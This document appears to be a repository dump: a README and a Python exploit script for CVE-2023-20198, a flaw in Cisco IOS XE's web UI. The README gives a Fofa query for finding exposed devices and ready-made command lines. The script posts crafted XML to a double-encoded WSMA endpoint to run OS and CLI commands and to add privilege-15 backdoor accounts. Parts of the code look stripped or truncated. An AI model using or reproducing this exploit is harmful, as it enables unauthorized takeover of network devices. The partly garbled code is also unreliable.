├── README.md
└── CVE-2023-20198-RCE.py
/README.md:
--------------------------------------------------------------------------------
1 | # Fofa
2 |
3 | ```
4 | body="" && is_honeypot=false && is_fraud=false
5 | ```
6 |
7 | # Usage
8 |
9 | ```
10 | usage: CVE-2023-20198-RCE.py [-h] -u URL [-p PROXY] [-au ADD_USER] [-ap ADD_PASS] [-du DEL_USER] [-pm PRIVILEGE_MODE]
11 | [-em EXPLOIT_MODE] [-oc OS_CMD] [-cc CLI_CMD]
12 |
13 | CVE-2023-20198-RCE
14 |
15 | options:
16 | -h, --help show this help message and exit
17 | -u URL, --url URL target url to check, eg: http://example.com
18 | -p PROXY, --proxy PROXY
19 | proxy url, eg: http://127.0.0.1:8083
20 | -au ADD_USER, --add-user ADD_USER
21 | username to add.If left blank, an 8-digit mixed case English string will be randomly
22 | generated.
23 | -ap ADD_PASS, --add-pass ADD_PASS
24 | password to add.If left blank, an 8-digit mixed case English string will be randomly
25 | generated.
26 | -du DEL_USER, --del-user DEL_USER
27 | username to delete
28 | -pm PRIVILEGE_MODE, --privilege-mode PRIVILEGE_MODE
29 | user/privileged
30 | -em EXPLOIT_MODE, --exploit-mode EXPLOIT_MODE
31 | user/cmd
32 | -oc OS_CMD, --os-cmd OS_CMD
33 | exec os command
34 | -cc CLI_CMD, --cli-cmd CLI_CMD
35 | exec cli command
36 | ```
37 |
38 | For example:
39 |
40 | ```powershell
41 | python CVE-2023-20198-RCE.py -u http://192.168.1.198 -p http://127.0.0.1:8083 -em cmd -pm privileged -cc "show version"
42 |
43 | python CVE-2023-20198-RCE.py -u http://192.168.1.198 -p http://127.0.0.1:8083 -em cmd -oc "uname -a"
44 |
45 | python CVE-2023-20198-RCE.py -u http://192.168.1.198 -p http://127.0.0.1:8083 -em user -au -ap
46 |
47 | python CVE-2023-20198-RCE.py -u http://192.168.1.198 -p http://127.0.0.1:8083 -em user -au hahahahha -ap hahahahha
48 |
49 | python CVE-2023-20198-RCE.py -u http://192.168.1.198 -p http://127.0.0.1:8083 -em user -du aaaaaa
50 |
51 | ```
52 |
53 | 
54 |
--------------------------------------------------------------------------------
/CVE-2023-20198-RCE.py:
--------------------------------------------------------------------------------
1 | import re
2 | import random
3 | import string
4 | import sys
5 |
6 | import requests
7 | import argparse
8 | import xml.etree.ElementTree as ET
9 |
10 | def GenerateRandTextAlpha(length):
11 | letters = string.ascii_letters
12 | return "".join(random.choice(letters) for _ in range(length))
13 |
14 | def GetOutputResult(resp_text, cisco_method, exploit_mode):
15 | if exploit_mode == "user":
16 | return resp_text
17 | if cisco_method == "urn:cisco:wsma-exec":
18 | root = ET.fromstring(resp_text)
19 | namespaces = {
20 | "SOAP": "http://schemas.xmlsoap.org/soap/envelope/",
21 | "cisco": cisco_method
22 | }
23 | text_content = root.find('.//cisco:text', namespaces=namespaces)
24 | return text_content.text.strip()
25 | elif cisco_method == "urn:cisco:wsma-config":
26 | root = ET.fromstring(resp_text)
27 | namespaces = {
28 | "SOAP": "http://schemas.xmlsoap.org/soap/envelope/",
29 | "cisco": cisco_method
30 | }
31 | text_content = root.find('.//cisco:text', namespaces=namespaces)
32 | result = ""
33 | pattern = r"\*\*CLI Line # 2: (.*)"
34 | matches = re.findall(pattern, text_content.text.strip())
35 | for match in matches:
36 | result += match + "\n"
37 | return result
38 |
39 | def RunCliCommand(url, command, proxy, exploit_mode):
40 | if url.startswith("https://"):
41 | uri = "/%2577ebui_wsma_https"
42 | elif url.startswith("http://"):
43 | uri = "/%2577ebui_wsma_Http"
44 | else:
45 | print("[x] Invalid URL. Example: http://example.com")
46 | return None
47 | target_url = url + uri
48 | exp_xml = f"""
49 |
50 |
51 |
52 |
53 | {GenerateRandTextAlpha(4)}
54 | *****
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 | {command}
63 |
64 |
65 |
66 |
67 | """
68 | headers = {
69 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
70 | }
71 | try:
72 | response = requests.post(url=target_url, headers=headers, data=exp_xml, verify=False, allow_redirects=False,
73 | proxies=proxy, timeout=20)
74 | if response.status_code == 200:
75 | result = GetOutputResult(response.text, "urn:cisco:wsma-config", exploit_mode=exploit_mode)
76 | return result
77 | except:
78 | return None
79 |
80 | def RunOSCommand(url, command, proxy):
81 | if url.startswith("https://"):
82 | uri = "/%2577ebui_wsma_https"
83 | elif url.startswith("http://"):
84 | uri = "/%2577ebui_wsma_Http"
85 | else:
86 | print("[x] Invalid URL. Example: http://example.com")
87 | return None
88 | target_url = url + uri
89 | exp_xml = f""" admin
93 | ***** {command}"""
94 | headers = {
95 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
96 | }
97 | try:
98 | response = requests.post(url=target_url, headers=headers, data=exp_xml, verify=False, allow_redirects=False,
99 | proxies=proxy, timeout=20)
100 | if response.status_code == 200:
101 | result = GetOutputResult(response.text, "urn:cisco:wsma-exec", exploit_mode="cmd")
102 | return result
103 | except:
104 | return None
105 |
106 | def AddUser(url, proxy, username, password):
107 | res = RunCliCommand(url=url, command=f"username {username} privilege 15 secret {password}", proxy=proxy, exploit_mode="user")
108 | if ""
189 | else:
190 | command = f""
191 | result = RunCliCommand(url=args.url, command=command, proxy=proxy, exploit_mode="cmd")
192 | if result is None:
193 | print("[-] Failed to execute cli command.")
194 | elif result == "":
195 | print("[*] The target environment is special and this command does not exist. You can try executing the \"show version\" command to check.")
196 | else:
197 | print(result)
198 |
--------------------------------------------------------------------------------